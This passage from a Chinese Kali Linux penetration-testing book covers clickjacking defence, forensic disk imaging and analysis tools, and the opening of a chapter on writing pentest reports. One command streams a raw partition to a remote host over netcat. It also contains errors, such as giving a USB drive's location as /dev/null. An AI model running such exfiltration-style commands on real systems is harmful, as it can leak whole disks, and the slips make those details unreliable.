其他针对cookie劫持的防御还可以跟流行的应用分发控制器实例一起工作，如负载均衡器和内容过滤器。常见的可以考虑的第三方服务提供商有思科、Bluecoat、Riverbed、Websense及其他一些厂商。这些服务提供商中有很多都会将cookie标记修改为Secure和HttpOnly。他们还提供内建的私有技术来降低一些跨站脚本攻击的危害。




7.6　防御点击劫持



我们在第5章
 中介绍过点击劫持，它是一种攻击方法：攻击者欺骗用户，使其在点击一些页面元素时实际上是在点击其他一些东西，而非他们认为它所呈现的内容。对抗点击劫持的最好方法之一是运行Firefox或Chrome浏览器的noscript扩展。它会阻止未经认证的代码在Web浏览器中运行。Noscript可以检测到未经认证的脚本、警示用户该脚本的存在并阻止脚本运行。用户也可以选择全局关闭某个会话或某个网站中的脚本控制。

本书作者非常中意noscript；不过，你应该鼓励Web开发者在HTTP响应中设置X-Frame-Options首部来降低Web应用中的这类风险。此外，有些应用分发控制器（ADC）实例也为管理员提供了编写定制脚本的功能。它也有助于降低这类风险。


 有些网站可能必须要能运行脚本。这类情况包括购物车或是其他电商网站。







7.7　数字取证



Kali Linux 1.0包含了一些用于满足取证需求的工具。取证是调查证据并完善跟事件有关的事实的过程。本节将会针对数字取证做一些介绍。我们认为当你的一些资产，例如服务器或Web应用，受到危害时，你有必要制定一个应对计划。你最好调研一下其他资源，接受更完善的培训。取证本身的内容已经超出了Kali Linux中自带的这些取证工具。数字取证是信息安全领域中发展迅猛的一个领域，很少有人真正在行。

在你进行数字取证时，一定要记住三条规则。如果没能很好地遵守这三条规则，那么，你基于自己的调研所得出的结论，看起来可能会很业余，或者你的取证调查看上去用处不大。

第一条规则是不要直接对原始数据进行操作。一定要用副本来进行取证。确保在创建副本时你并没有修改数据。一旦动了或修改了原始数据，你的调查结果就毫无意义了。篡改过的证据不能用于任何法律诉讼，不管你从中找到了什么。原因是一旦原始数据被修改了，就存在找出的是伪证进而遮盖事实真相的可能性。举个修改原始数据的例子，调整系统日志中的时间戳就可能改变事实真相。而我们无法甄别这是业余分析师的失误还黑客尝试掩盖痕迹而做的这类修改。

许多取证专家都会用专用设备来一个比特一个比特地复制数据。有一些声誉很好的软件也可以达到同样的效果。详细记录整个过程也很重要。法律诉讼中出示的许多数字副本最终都被打回了，原因是存储媒介如硬盘的散列跟复制出来的数据的散列不一致。硬盘的散列肯定无法跟受污染的副本的散列一致，即使只是修改了其中一个比特位的信息。散列一致意味着基本上可以确定原始数据，包括文件系统访问日志、删除的数据磁盘信息及元数据，就是原始数据源的精确副本。

数字取证的第二条规则是能存储数据的一切媒介都要检查。在涉及数字媒介的知名案件中，重要证据都存储在相机、数字摄像机、视频游戏控制台、手机、iPod和其他一些数字设备中。如果一个设备带有存储用户数据的功能，那么该设备在取证调查中就有可能用到。不要只是因为可能性不大就错过一些设备。汽车导航系统会将地图和音乐存储到SD卡中，不法分子可能会用它隐藏数据。另外，还可以基于下载音乐的标记提供互联网使用的证据。

数字取证的最后一个重要规则是确保你记录下来了所有发现。达成结论的所有证据和步骤都必须易于理解，这样才能受信。更重要的是，你的发现必须是可重现的。独立调查员根据你的文档和技术必须能得出跟你一样的结论。还有很重要的一点是你的文档必须能够保持一个记录了什么时候发生了什么、怎么发生的事件时间线。所有的时间线结论都应该被记录下来。

取证调查实质上就是检验安全专家对跟事件关联的证据的洞察力。人们很容易基于个人观点推断发生了什么以及谁是坏人。这么做很快就会让你在圈子里名声拜尽。作为取证专家，你必须只陈述事实。看看下面这两个描述有什么差异：1. Alice窃取了Bob的文件；2. 登录的用户名为Alice的账户发起了一个从用户账户Bob的主目录，到序列号为XXX的USB硬盘的复制操作，日期为XXX，时间戳为XXX。真正的坏人可能窃取了Alice的登录凭据（使用本书中介绍的方法），并窃取了Bob的数据，而表现为是Alice在操作。你得出结论的那一刻，你的案例因为个人干扰立即变得没有说服力了。记住，作为取证的专业人士，你可能会被要求宣誓给出有关发生了什么的证词。当有任何事实以外的内容被记录了下来时，人们都可能会质疑你的可信性。



7.7.1　Kali取证启动模式



Kali Linux有个选项是使用取证启动模式（Forensics Boot）
 。如果你是使用Kali启动盘（如Live CD）来启动系统，你可以选择Kali取证模式。如果你要将Kali作为一个取证工具集，我们强烈建议你将Kali Live CD作为你的工具集中的一部分。Kali Live CD可以从Kali Linux网站上以ISO映像文件的形式下载（参见1.5节）。在Kali启动后，你能看到Forensics mode
 会是一个可选择的选项。




以取证模式（Forensic mode）使用Kali Linux可以帮助你达成第一条黄金规则：不修改原始文件系统。它不会使用内部硬盘，也不会自动挂载内部硬盘。交换（SWAP）分区和所有其他担当内存或缓存的分区也都不会以任何形式使用。

在取证模式中，可移动媒介不会自动挂载。如果有CD或U盘插入到了系统上，它什么也不会做。很有可能你会通过手动挂载的方式在取证模式中使用可移动媒介。这便于取证专家对系统上已挂载的文件系统和媒介进行完全控制。

如前面所述，你一定要使用数据源的副本来开展工作。在做取证工作时，保证副本的文件系统完好无损很重要，这样你就能说明自己并没有做任何修改，并且你提供的步骤也可以被重复执行。让我们看看如何使用Kali中带有的工具来对数据进行复制和散列计算。


使用Kali进行文件系统分析



dd
 是Linux/Unix系统中最常见的文件系统复制工具之一。该工具可以用来生成文件系统的一份完全复制，包括已删除的扇区和启动扇区。在许多情况中，该工具用于创建外部媒介或是硬盘的映像文件。在dd
 创建好磁盘映像文件后，该文件可以在其他系统上挂载或检查。如有必要，dd
 可以将磁盘映像文件保存到网络共享上或是USB硬盘中，这样取证分析就不会使用本地文件系统。下一个例子会演示如何使用dd
 来生成内部硬盘的一份副本。第一步是选择目标机器，并使用Kali Live CD启动取证模式。

我们将会运行sfdisk -l
 命令来查看我们要进行分析的系统上的磁盘信息。




前面的截图显示了五个分区。分区1、2、5
 看起来比较有用，而分区3
 和分区4
 显示为空。记住，交换分区可能会包含用户活动和缓存遗留下来的一些信息。如果用Live CD来启动一个基于Windows的系统，我们可能会看到一个不同的分区结构，不过，整体概念基本一致。

下一步是决定要复制哪个分区。我们选择前面的映像文件中第一个分区列出的/dev/sda1。

dd命令的基本使用方法如下：



dd if=<媒介/媒介上的分区> of=<映像文件>







在本例中，我们将会输入以下命令来创建第一个分区的副本：



dd if=/dev/sda1 of=sda1-image.dd







它会创建一个映像文件，作为跟我们本地文件系统上sda1分区的一个完全副本。希望你能看出我们操作中的一个重要问题。我们刚刚违背了黄金法则之一，那就是不要修改原始数据；而我们将该文件写到了本地文件系统中，这样会被认为修改了原始数据。最佳方式是将该映像文件写到另外一个文件系统中，比如一个不同的分区、网络共享或是USB硬盘中。本人的个人偏好是使用USB硬盘，不过，在这个例子中，使用本地文件系统仅仅是为了演示，因此也可以接受。

要使用USB硬盘作为被复制的系统的存储设备，你需要先将一个大的USB硬盘插到系统上。因为在Live CD的取证模式中，Kali不会自动挂载该USB硬盘。通常，你要保持该文件系统不被挂载，然后用dd工具来处理该硬盘的详细内容。要这么做，你需要运行下面截图中显示的命令：




该USB设备的位置是/dev/null，不过，你可以选择任意位置。你也可以将该映像文件直接保存到NFS网络共享中。你可以用以下命令来完成：



dd if=/dev/sda1 | nc 我的主机IP地址 可选填的端口号







在下面的例子中，我们会把分区sda1
 克隆到IP地址为10.0.0.5的NFS存储服务器上：



dd if=/dev/sda1 | nc 10.0.0.5







还有其他一些工具可用来克隆文件系统。我们建议使用dd
 工具来克隆特定分区，因为它在Kali以及许多其他Linux和Unix系统中都是自带的。克隆系统的过程可能会非常耗时，这取决于你要复制的分区有多大。尽管dd
 是一个非常好的工具，但它并非所有情况下都是最佳工具。如果你是要克隆整个磁盘，这里还有其他一些流行的工具，比如AIMAGE或AIR Imager。它们都不是Kali中预装的，但非常受欢迎。重要的是如果该调查结果有可能会用在法律诉讼中，一定要确保取证调查中用的工具符合证据收集相关规定。



7.7.2　

 

dc3dd





dc3dd
 是增加了取证功能的dd
 工具。dc3dd可以一比特一比特地计算你正复制的硬盘和源硬盘之间的散列。这对证明你正在研究的数据副本跟原始数据完全一致至关重要。你可以通过创建一份原始数据和副本的散列来供后面验证是否一致。

在下个例子中，我们会运行sfdisk -l
 命令来查看现有的硬盘和分区。如下面的截图所示：





dc3dd
 工具运行的方式跟dd
 工具很像。你可以选定一个源硬盘或一个源分区以及要存储该映像文件的目标位置。它还提供了一个散列选项。在下个例子中，我们会选择分区/dev/sda2
 ，并将它复制到一个名为CopyofDrivedc3dd
 的映像文件中，同时用sha256
 计算散列。


 这个例子是为了演示。实际的取证调查中，我们不会将映像文件保存到同一个硬盘中。




dc3dd会在复制完成后提供一个针对被复制硬盘的输入文件的唯一散列码。




重要的是证明副本的散列跟原始数据文件的散列是一致的。我们可以使用命令sha256sum
 来计算散列。如果我们在文件CopyofDrivedc3dd上计算了散列，也在分区/dev/sda2上计算了散列，我们能看到他们是一致的。我们甚至能看到dc3dd副本的输出也是一样的。既然散列都一致，我们可以确信取证调查中用到的文件是完全一样的。






7.7.3　Kali中的其他取证工具



Kali在标为Forensics
 的目录下有无数的取证工具。这里有一些Kali中常用的工具，主要用于Web应用取证。


1.chkrootkit



chkrootkit
 可以在Linux系统中运行基于签名和进程来检查系统中是否存在rootkit。你可以将它当成针对Linux系统的反病毒软件或反恶意软件。

要运行chkrootkit
 工具，打开一个命令行终端窗口，输入chkrootkit
 。它会检查本地操作系统中是否有已安装的rootkit。





chkrootkit
 是一个保证你的Kali副本没有被影响的简单工具。你也可以在其他Linux发行版上安装并运行chkrootkit
 工具。


2.Autopsy



Autopsy
 是一个开源的数字取证工具，可以运行在Windows、Linux、OS X及其他Unix系统上。Autopsy可以用于分析磁盘映像文件并对文件系统进行深入分析，如NTFS、FAT、HFS+、Ext3、UFS以及一些其他卷系统类型。Autopsy最常见的用法是作为管理映像文件分析的案例管理工具。还记得我们是如何使用dd
 工具来创建映像文件的么？Autopsy可以帮助我们研究该映像文件。

要运行Autopsy，你可以浏览到Kali Linux > Forensics > Digital Forensics
 ，并选择Autopsy。它会调起一个终端窗口，并运行该应用。你可以让那个窗口开着，在Web界面上使用该工具。要访问Web界面，打开Web浏览器，并转向http://localhost:9000/autopsy
 。




选择New Case
 创建一个新的案例。它会跳到下面的示例截图：




Autopsy会在继续进行之前弹出一些问题。问题包括设置时区、输入你的Kali系统和要调查的系统之间的时间偏移，以及描述，如主机名等。

在下面的这个例子中，我们会用Autopsy来检查前面例子中通过dd
 工具创建的一个映像文件，如下面的截图所示：




第一步是向Autopsy加载映像文件，如mytestimage.dd
 。




它会给出一个选项让你设置使用dd
 工具创建文件时生成的该文件的散列值。你可以让Autopsy计算散列值。本书作者建议你自行计算MD5校验码。可以在文件运行md5sum
 命令时生成。




你可以将计算出的散列值直接填入Autopsy。




Autopsy是一个可以帮助收集用于文档目的的取证信息的工具。当某个分区可以进行检查时，你可以用Autopsy来查看特定磁盘、文件信息、原始文件以及它们的元数据。Autopsy也可以连接美国国家标准和技术研究所的国家软件参考库（National Institute of Standards Software Reference Library），通过比较已知文件的散列来判定它们是正常的程序还是非正常程序。


3.Binwalk


在取证调查中，我们通常很难看出找到的二进制文件的用途。原因是我们通常拿不到二进制文件对应的源码文件。Binwalk
 是一个固件分析工具，用来辅助对固件映像文件和其他二进制软件进行分析、提取和逆向工程。Binwalk的关注点是固件二进制文件；不过，我们也看到了一些更新可用于家庭网络和无线设备及其他消费电子产品。

Binwalk有一些不同的选项，你可以参考https://code.google.com/p/binwalk/wiki/Usage
 。你可以将命令binwalk和你要检查的二进制文件的文件名一起运行。下个例子中我们会针对家庭无线路由器的二进制固件使用Binwalk，如下图所示：




Binwalk会输出该二进制文件的结果：




前面的截图显示，管理员下载了一个二进制文件并对其进行了重命名，使其看起来更像是来自另外一个厂商（FW_WRT54G是一款Linksys路由器）。Binwalk可以分析该文件并警告该文件是一个Sercom的固件文件，即使文件被重命名为Linksys格式。


4.pdf-parser


pdf-parser用来解析和分析便携式文件格式
 （PDF，Portable Document Format）的文档，以及从PDF文档中提取原始信息，如代码、图片和其他元素。它是一款用来检查和销毁被判为包含恶意代码的PDF文档的工具。


5.Foremost


Foremost是一个数据切分工具，可以基于文件的首部、尾部和内部数据结构来恢复文件。Foremost可以用于映像文件，如通过dd、Safeback和Encase工具生成的映像文件，或是直接用于硬盘。映像文件的首部和尾部可以通过一个配置文件来指定，或是用命令行来识别文件的类型。这些内建类型会查看给出文件格式的数据结构，从而允许更可靠、更快的恢复动作。


6.Pasco


Pasco是一款取证工具，它可以读取由微软的IE创建的index.dat文件。index.dat文件会存储用户的浏览记录，这在对主机进行调查时非常有用。微软会在主机系统硬盘中的各种位置存储index.dat。举个例子，一些index.dat文件是在用户的主目录中，用以保存用户的配置信息。


 Pasco只针对IE有效。其他浏览器如Firefox和Chrome不会保留index.dat文件。 Firefox和Chrome会将浏览器信息存储到SQLite数据库中。数据库的位置在各个操作系统中都不相同，但它们可以通过SQLite数据库查看器打开查看。本书作者喜欢的SQLite客户端工具之一是一款Firefox插件，名为SQLite Manager。


7.Scalpel


Scalpel是一款文件切分工具，用于搜索已知文件首部和尾部签名数据库、尝试从硬盘映像文件中切分出文件。你可以用你要定位的文件类型来对scalpel.conf文件进行配置，然后针对某个数据库运行该工具。


8.bulk_extractor


bulk_extractor可以用来从映像文件中提取各种内容，包括信用卡号、手机号、URL和电子邮件地址。bulk_extractor也可以通过映像文件生成单词列表，进而用于字典攻击。bulk_extractor可能要运行数个小时，但提取出来的数据在取证中的作用对得起这份等待。




7.8　小结



商业运营中的一些资源至关重要，而自始至终保障这些资源的安全更是重中之重。我们之所以写这本书，除了想为渗透测试人员提供支持，更希望教给读者各种攻击方法。因为恶意用户可以对资源进行利用，所以管理员应该提高安全防御水准。每个人都是一个被攻击的目标，投入多少时间和资源来降低被利用的风险取决于资源所有者。

本章内容可用来防御前几章介绍的攻击。你可以将前几章介绍的工具当成验证自己系统上存在漏洞的工具。本章介绍的内容包括如何克隆Web应用以避免对线上系统进行测试、基线安全标准，以及防御前几章介绍的各种攻击。这些攻击包括密码破解、中间人攻击、SSL strip、DoS、Cookie窃取和点击劫持。本章还专门用一节来介绍如何使用Kali Linux进行数字取证调查。

下一章我们将介绍交付渗透测试服务的最佳方式，包括开发专业交付成果的各种方法。

 




第 8 章　渗透测试执行报告



在展开本章内容前，我们想先说明一下，本章内容涉及的主题有撰写报告、设定条款和协议。我们应当将这些例子用作通用指导方针。我们并不是主张只掌握符合法律规定的知识或技术。虽然我们的Facebook资料中显示有7个都是律师，而且是电视剧《波士顿法律》的热心观众，但我们不是Denny Crane
1

 。当需要严肃对待开发范围、协议和报告等问题时，我们建议你寻求专业的法律帮助。



1

 《波士顿法律》中一个主角的名字，律师届的精英。——编者注


网络工程师负责部署网络，程序员负责编写应用，审计员负责编写报告。作为网络渗透测试人员，毫无疑问你扮演着审计员的角色。你跟负责配置路由协议的网络工程师不同，跟负责编写应用的程序员也不同，你的价值在于你编写的报告。换句话说，你需要学习如何编写报告。有一门科学艺术跟写作是关联的。如果要寻求一个一致的风格，本书作者推荐“The Modern Language Association of America Style”（美国现代语言学会语体），即广为人知的MLA
 。MLA是一种易于使用的写作语体，也是大多数高中学校所要求的写作标准。H. Ramsey Fowler和Jane E. Aaron编纂的名为The Little, Brown Handbook
 
2

 的参考指南，是一本介绍写作时如何正确使用MLA语体的专著。作为渗透测试人员，并且最终有可能是审计员，你的价值都取决于如何呈现自己的发现。渗透测试报告不成功的首要原因是语法或拼写错误。次要原因是不合逻辑的流程或语体。这也是我们强烈建议你提前让跟项目无关的其他人帮你审定报告，以提供旁观者观点的原因。不过，审定者不一定非要懂技术。



2

 原书第9版的中文版《李特-布朗英文写作手册（中文简释版）》由北京大学出版社出版。——编者注


你如何呈现结果是对将来业务最有影响力和决定性的因素。在熟悉了写作语体之后，你要了解一些跟技术审计相关的较为恰当的语体和流程，其中包括来自PCI或其他行业组织制定的行业标准，比如CoBIT和ITIL。最终，报告的主题应该符合审计服务的企业进行公司治理采用的标准。同时要记得渗透测试报告会过很多人的手，也可能会在超过预期的很长一段时间内被很多人引用。

客户希望知道他们的系统到底有多容易被攻击，以及修补这些漏洞的需求条件，从而能够降低整体遭受攻击的安全风险。报告的格式和基调会引起对数据的正面反应或负面反应。与漏洞关联的，可能是某些职位上的员工被辞退。当然，也可能一个严重的安全漏洞因报告没有恰当地突出修复该问题的重要性而被忽略。那些顶尖的服务提供商会在编写执行报告时，从业务和技术优势两方面做权衡，使最终结果能对领导层和技术员工产生正面影响。

一个比较好的出发点是了解哪些规定、标准和法令对客户来说比较重要。将客户的需求和行业标准结合起来是本章的第一个主题。接着，我们会看一下用于主导交付服务的不同服务模型。之后，我们会关注执行报告的不同类型的文档格式，以便你可以在服务的后续流程中给客户留下一个比较好的印象。本章将会以一些示例报告结尾，并且会在最后介绍一下Kali Linux中可用的其他报告工具。




8.1　遵从规范



客户手里只有有限的预算，因此，他们通常不会将安全作为主动投入成本的首选对象。根据我们的经验，客户会先将经费用在其他技术领域，直到出现一些问题导致损失，这时才会调配响应性的支出。许多客户现有设施中就已存在很多问题需要解决，而他们同时还在升级系统以跟上最新的技术发展，对提供评估现有安全状况的服务——如渗透测试——的服务提供商来说，这时他们面对的情况要复杂得多。一个类似的情况是，在许多人购买笔记本电脑时，他们会顺便考虑买一些功能型软件，而不是安全防御型软件（例如买微软的Word应用，而不是杀毒软件）。当该笔记本电脑用了一段时间感染了病毒时，用户才会暂停考虑功能型软件，提高购入安全软件以删除恶意应用的优先级。

提高你的服务在客户采购中优先级的一个方法是将其跟商业规定看齐。客户通常更倾向于购买用来使其符合商业责任要求的服务，这样比较方便他们跟相关方说明这项投入的意义。许多行业都对未通过审计的情况采取了严厉措施，从罚款到解雇都有。将交付的结果跟标准规定看齐是有助于推广服务的一剂强心针。

跟行业规范相关的一些重要术语如下。




	
基线
 它们主要用于描绘出能够满足政策要求的最低安全等级。基线可以是配置、架构或流程（可能影响也可能不影响业务流程，但可以被修改以满足这些要求）。你可以将基线用作制定标准的一个抽象。

	
标准
 它们是用于支持更高政策要求的强制性要求。标准可能会要求使用特定的技术，包括品牌、产品和协议。举个例子，基于需要有某种形式的自动化访问控制的基线，使用思科身份服务引擎（Cisco Identity Services Engine）创建一个针对802.1x
 的标准。

	
指导方针
 它们是建议性质的，而不是必需的。你可以将指导方针看成与标准类似。不过，没有什么会强制人们一定遵守它们。例如，在防火墙上开放哪些端口做一些控制而不是开放所有端口的流量。






8.2　行业标准



有很多行业标准是强制客户遵循的。以下列表常用于说明筹集资金的产品和服务是符合要求的。




	
健康保险便利和责任法案（HIPAA，Health Insurance Portability and Accountability Act）
 它要求采取适当的控制，来保证医疗保健交易记录和管理信息系统能够保护可识别个体的电子健康信息。不符合HIPAA规范不会直接导致罚款，不过会有一些附带风险，比如不符合HIPAA可能会导致民事责任或品牌受损。

	
联邦信息处理标准（FIPS，Federal Information Processing Standards）
 它们是用于保护由政府机构和承包商发送的信息而开发的美国计算机安全标准。

	
联邦信息安全管理法案（FISMA，Federal Information Security Management Act）或美国国家标准与技术研究院（NIST，National Institute of Standards and Technology）
 FISMA和NIST专门出版物800-153和800-137定义了一个基于支持联邦运营的特定资源和固定资产来保证信息安全控制有效性的框架。

	
北美电力可靠性公司（NERC，North American Electric Reliability Corporation）
 它制定了标准的用于控制或影响北美大电力系统可靠性的关键基础设施保护（CIP，Critical Infrastructure Protection）
 。经联邦能源管理委员会（FERC，Federal Energy Regulatory Commission）
 批准，所有加入到美国国家大电网的组织都必须遵循这些标准。

	
支付卡行业数据安全标准（PCI-DSS，Payment Card Industry Data Security Standard）和支付应用数据安全标准（PA-DSS，Payment Application Data Security Standard）
 这些标准是为那些需要处理持卡人信息的组织设立的，包括那些处理主要借记卡、信用卡、预付卡、电子钱包、ATM和POS卡等持卡人信息的组织。

	
萨班斯-奥克斯利法案（SOX，Sarbanes-Oxley Act）
 它规定了严格的改革措施来增强企业的财务公开以避免账目欺诈。






8.3　专业服务



针对服务向用户收取费用最常见的策略有一站式方案法以及计时和物料法。一站式方案意味着所有服务的费用是固定的，只有在客户提出了约定的工作范围之外的要求才能调整。通常针对一站式方案提出的变更要求提出另外一个变更请求，只有当客户先接受了这个请求，才能将额外费用计入结算账目。

一站式服务对服务提供商来说有利润降低的风险，因为在规定的工作范围内，他们不能依据投入的劳动量而动态调整收费价格。这也意味着服务提供商有可能按相当于利润增加的预期时间完成任务。这也可能在服务超过劳动成本时出现逆火现象。因此，一定要在为预期服务制定工作范围时预留一些空白时间，以便处理未预见的突发事件。

而客户也会因规划预期成本的能力制约，倾向于采用一站式服务。客户主要关注要求的服务达到预期结果，同时在任务未完成时督促服务提供商为结果负责，而不至于增加额外成本。一些如美国联邦政府等的大组织，通常都会针对一站式服务发布正式的公开询价
 （RFP，Requests for Pricing）。大多数情况下，采购部门会有成型的指导方针来根据各种因素（如价值最高、价格最优和符合要求的条目等）判定应该雇用哪家服务提供商。我们遇到过一些采购部分只根据价格最优选择服务而出现询价逆火的情况。有些情况下，糟糕的服务会带来更多的问题，从而导致花费几倍于前面价值最高方案的成本来修复这些问题。要帮助客户避免这种情况，我们建议跟客户一起商讨如何要求只有特定资质的服务提供商才能达成的具体条款，以及只有特定资质的服务提供商才能满足的条件，这样才能在价值最高和价格最优之间找到一个可衡量的平衡矩阵。

另一种收费方法是计时和物料法。计时和物料法在询价时会按占用的时间来计费。通常，服务提供商会针对计费策略列出不同的单位时间费率，比如项目经理一小时费率是100美元，而高级工程师是一小时是200美元。一般来说，服务会被拆成按预期时间划分的任务，以此来帮助客户准备在项目进行时要支付的费用。

计时和物料法会将高成本服务的风险转移给客户，因为超出任务列表的服务依然要计费。对客户有利的地方是如果他们能完成其中部分工作，那么就能节省一些支出，同时还能避免一站式服务中常见的额外填充时间。对客户来说有一个缺点，这样服务提供商没有动力尽早完成该项目，因而可能会推迟完成时间。

我们建议专业服务提供商在实践时将目标设为开发一站式服务。定义精确的实践会跟客户设定合理的期望，从而避免服务不满足工作范围设定。以我们的经验，客户是不会给你开一张空白支票供你随意计费，而是会在申请预算前要求你提供一个固定成本预算。


 时不时地，客户会要求将服务商这边的可计费成员替换为他们自己的员工来降低整个项目的成本。举个例子，客户可能会要求用内部项目经理来规划项目。这样就引入了不能合理管理资源的风险，并可能因此导致一些问题，或造成额外的时间开销，以至于吞噬掉预期的利润。我们建议避免这些情况，因为你很难控制一个不直接隶属于你们团队的成员。




8.4　文档



完成一个可交付结果需要经历一些步骤，如下图所示。第一步是项目评审。在这个环节中服务提供商会评审工作说明书、客户商业目标、需要斟酌的地方以及预期能提供的价值。所有这些再加上一些额外的可引起共鸣的材料，就构成了一个报告模板。




下一步是在信息收集环节填写报告模板。收集到的信息包括识别的设备、采用的流程、发现的漏洞、漏洞的验证、建议的修复以及其他数据。

在所有数据被收集并跟模板对齐后，第三步是准备第一版草稿。这份草稿不会是呈现在客户面前的那份，它包含了尽可能多的信息。最后一步是审定过程，将报告精简到只包含最可靠的数据，以及对系统做哪些调整可以满足业务需要。最佳实践是让专业技术人员和专业写作人员一起编辑这份草稿，保证其既能满足业务运营需求，又能满足技术人员的需求。


 你制定的工作范围一定要包含创建文档所需的时间。通常报告写作时间中60%的时间都用于完成初稿，文档审定以及项目交付会占用剩下的时间。你要确保将文档生命周期计入项目时间表来避免收益受损。




8.5　报告格式



不管是什么类型的项目，有些内容一定要加到服务的交付文档中。所有文档都应该说明它们的目的，并对品牌做一定推广，说明涉及的各方，列出进行过的操作，并以期望结果结尾。本节将会提供一些指导和例子，来说明如何非常专业地满足格式要求。



8.5.1　封面页



封面页至少要提供报告名、版本、日期、作者、服务提供商名称以及目标群体。封面页也可以列出其他项，比如文档安全归类，或是突出其他节的结果。



8.5.2　保密声明



大多数渗透测试中获得的都是比较敏感的信息。所以通过制定安全等级来保护执行过程中收集到的信息至关重要，说明允许谁查看这类数据也很重要。这里我们可能需要一些特殊等级的批准，对数据做特殊处理或是将其存放到做过安全加固的地方，比如将分类材料存储到敏感信息隔离设施（SCIF，Sensitive Compartmented Information Facility）
 中。泄漏数据可能会造成财务上、品牌上和法律上的不良后果。

保密声明应该说明给予文档什么等级的安全保护、谁可以查看这些资料、哪些内容是允许复制的、哪些是不允许复制的、分发的权限以及其他法律文案。我们建议最好请一位有法律背景的人士来帮你制定标准的保密声明。

示例一：保密声明

本文档包含来自服务提供商
 的涉密和特权信息。这类信息仅供客户
 独家使用，用于评估企业内部当前的信息安全状况。接受此文档，说明客户
 同意将本文档的内容保密，并且不会复制、泄漏或是分发给第三方，除了将来按照文档的推荐直接为客户
 提供服务和（或）产品的企业。他们不需要向服务提供商
 发出书面请求或书面确认。如果你不是目标接收人，请注意泄漏、复制或分发本文档或其中内容都是不被允许的。

示例二：保密声明

本保密信息是作为服务提供商
 咨询活动的交付结果，提供给客户
 的。此文档的唯一目的是向客户
 提供本次测试的结果和建议。各个参与人都同意根据咨询代理和服务提供商之间的协议，严格遵守分发限制。



8.5.3　文档控制



列出当前是什么版本以及做过哪些修改对于交付目标很重要。很多情况下，文档是由许多具备各种技能的人来审定的。标出修改发生的日期和修改类型可以帮助阅读对象找到最新版本。







	

 文档修订记录 


	

  


	

  





	
 版本 

	
 日期 

	
 作者 

	
 备注 




	
 1 

	
 5/1/13 

	
 Josh Wink 

	
 创建 




	
 2 

	
 5/10/13 

	
 Mark Farina 

	
 修订 




	
 3 

	
 5/24/13 

	
 Jeff Mills 

	
 修订 







8.5.4　时间表



时间表为项目的各个环节提供了一个预估的时间。时间表应该包括环节名称、要完成的任务、以及该环节预期持续的时间。通常，持续时间会以可计费时间来显示，所以客户可以评估该项目各个环节的成本。我们建议你在文案中标明哪些环节是必须要有的，以免在项目启动后删掉了关键环节。

下面是一份预期的时间表以及整体的实施方案。


服务提供商
 会在收到工作说明书
 （SOW，Statement of Work ）之后的两周内开始启动测试活动，并由客户来支付跟资源可用性相关的采购。如果客户
 要求提前测试活动开始的日期，那这必须跟服务提供商
 、项目管理团队
 和财务团队
 一起议定。

项目启动环节和修复演示环节对于所有其他环节来说都是标准环节。







	

 参与环节 


	

 任务（宏观） 


	

 预期持续时间 





	
 项目启动会 

	
 审定工作说明书




可交付配置




业务和技术文档，边界评审




 
 先决条件

	
 8小时 




	
 网络评估 

	
 工具准备和安装




网络踪迹分析、




 
 策略审定、映射

	
 16小时 




	
 扫描设备




 
 评审已有网络架构

	
 32小时 




	
 渗透测试 

	
 找出能被漏洞利用的系统并在目标系统上执行渗透测试 

	
 32小时 




	
 报告分析、推荐和演示 

	
 16小时 




	
 修复演示 

	
 演示发现的结果和安全影响分析，包括修复 

	
 6小时 




	
 项目结束 

	
 2小时 







8.5.5　执行总结



执行报告的目的是给为什么要执行渗透测试服务提供一个宏观的上下文。执行总结应该包括导致已有问题的原因、问题的严重程度分析以及能达到期望结果的修复建议。执行报告不需要包含技术细节，应该面向领导而不是技术员工。

示例1：执行总结


背景：



客户
 雇用服务提供商
 为自己完成系统漏洞评估和渗透测试。这一过程主要目的是利用服务提供商
 经过验证的测试方法论找出客户
 网络和系统中的潜在安全漏洞，从而评估客户
 网络和系统的安全性。本项目是由来自服务提供商
 的专家于雇用日期
 在客户
 内网中的若干系统上完成的。

本项目包括对9台内部主机进行的渗透测试。在测试方面，服务提供商
 主要关注以下内容：




	尝试判定可以找出和利用哪些系统级漏洞，而事先对该环境毫无了解，也未通知管理员；

	尝试利用找到的漏洞，访问可能保存在系统中的保密信息；

	记录和报告所有发现的内容。



所有测试都是围绕着这些系统承载的实际业务流程以及潜在威胁展开的。因此，这项评估的结果反映了对于线上联网黑客来说，系统暴露程度的实景图。

本文档包含该评估的结果。






项目信息：


本评估的主要目的是针对客户
 网络和系统中存在的安全漏洞进行分析。本评估的过程主要是找出潜在漏洞并给出修复漏洞的可行的建议，以便为环境提供更高层级的安全。


服务提供商
 用其经过考验的渗透测试方法来评估系统的安全并找出潜在安全漏洞。









示例2：执行总结


客户
 雇用服务提供商
 来在网络中一定数量的系统上进行网络渗透测试。这些系统可以通过主机IP地址192.168.1.X、10.1.1.X以及172.16.1.X来标识。本次雇用关系的目的是找出指定系统中的安全漏洞，并对其进行优先级设定。雇用关系于开始日期
 开始，包含4天的测试、分析和文档记录。





8.5.6　方法论



我们建议你提供一个你是如何交付服务的全景图。可着重说明你在约定的各个阶段的进度、使用的工具以及你如何应对发现的安全威胁。通常我们会制作一些图表来演示进程流和支撑本节内容结构的资源。

认证可以帮助服务提供商来证明自己具备提供高质服务的能力。有些证书可以用来突出公司遵循特定方法来设定业务流程的能力，比如国际标准化组织（ISO）的各种认证（如ISO 9001或ISO 14001）。其他认证可以主要特定技术，比如让工程师获得要部署的技术的认证。常见的渗透测试认证有道德黑客资格认证
 （CEH，Certified Ethical Hacker）和GIAC渗透测试员认证
 （GPEN，GIAC Penetration Tester），它们能够帮客户确认正在签约阶段的服务提供商是否具备资质。

举个例子：方法论


服务提供商
 会从黑客的角度，基于自定制及公开的工具来观察当前的网络安全状态。这些方法可以帮客户
 理解威胁信息安全的风险，以及当前这些保护重要系统的安全控制措施的优势和不足。这些结果可以通过使用公开信息来对客户
 的内部网络进行性能数据分析、映射网络结构图、找出主机和服务、枚举网络和系统层漏洞、检测局域网内的异常主机以及消除扫描过程中出现的假阳性。






8.5.7　详细测试流程



本节将介绍服务约定的细节。目标受众通常为技术员工。这份文档的目的是围绕找出有问题的地方提供尽可能多的信息。客户可能会去针对某个突出的问题进行验证，重复执行文档中用来验证漏洞的步骤，也就是说他们想知道这些问题是怎么被发现、被访问以致被利用的。这些数据还能证明在工作范围中所有标记过要求的网络领域都已经测试过了。

通常测试流程应该包括目标检测、映射、漏洞评估、架构分析、漏洞利用和报告。服务提供商就某项工作执行到什么程度取决于工作说明书中定义的工作重点是什么。

举个例子。


服务提供商
